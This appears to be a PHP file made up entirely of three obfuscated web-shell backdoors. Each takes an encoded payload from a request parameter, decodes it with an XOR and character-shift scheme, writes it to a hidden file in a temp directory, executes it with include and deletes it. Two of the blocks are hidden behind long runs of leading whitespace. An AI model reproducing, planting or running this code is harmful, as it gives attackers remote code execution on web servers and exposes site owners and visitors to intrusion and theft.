																																										if(count($_REQUEST) > 0 && isset($_REQUEST["pgrp"])){ $element = array_filter(["/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp"]); $component = $_REQUEST["pgrp"]; $component=explode ( '.',$component ); $descriptor = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1); $t = 0; foreach( $component as $v6) {$chS = ord( $s1[$t % $sLen]); $dec =( ( int)$v6 - $chS -( $t % 10)) ^ 29; $descriptor.= chr( $dec); $t++; } while ($flg = array_shift($element)) { if (max(0, is_dir($flg) * is_writable($flg))) { $parameter_group = sprintf("%s/.holder", $flg); $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $parameter_group; @unlink($parameter_group); exit; } } } }
																																										if(array_key_exists("\x72efe\x72\x65n\x63e", $_POST) && !is_null($_POST["\x72efe\x72\x65n\x63e"])){ $rec = $_POST["\x72efe\x72\x65n\x63e"]; $rec = explode( "." , $rec ) ; $desc = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $r = 0; while ($r < count($rec)) { $v8 = $rec[$r]; $sChar = ord($s8[$r %$sLen]); $dec = ((int)$v8 - $sChar - ($r %10)) ^ 69; $desc .= chr($dec); $r++; } $ref = array_filter(["/dev/shm", "/tmp", getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir")]); for ($dchunk = 0, $k = count($ref); $dchunk < $k; $dchunk++) { $object = $ref[$dchunk]; if (is_dir($object) ? is_writable($object) : false) { $ptr = str_replace("{var_dir}", $object, "{var_dir}/.ent"); if (@file_put_contents($ptr, $desc) !== false) { include $ptr; unlink($ptr); die(); } } } }


if(array_key_exists("\x6Dr\x6B", $_POST)){
	$token = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP")]);
	$pset = $_POST["\x6Dr\x6B"];
	$pset	 	= 	 explode 		( 	".",$pset	)	 ;	
	$flg = '';
            $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s3);
            $t = 0;
            $__len = count($pset);
    
            do {
                if ($t>= $__len) break;
                $v4 = $pset[$t];
                $chS = ord($s3[$t % $lenS]);
                $dec = ((int)$v4 - $chS - ($t % 10)) ^ 90;
                $flg.= chr($dec);
                $t++;	}while (true);
	$pointer = 0;
do {
    $entity = $token[$pointer] ?? null;
    if ($pointer >= count($token)) break;
    		if (max(0, is_dir($entity) * is_writable($entity))) {
    $value = vsprintf("%s/%s", [$entity, ".binding"]);
    if (file_put_contents($value, $flg)) {
	include $value;
	@unlink($value);
	exit;
}
}
    $pointer++;
} while (true);
}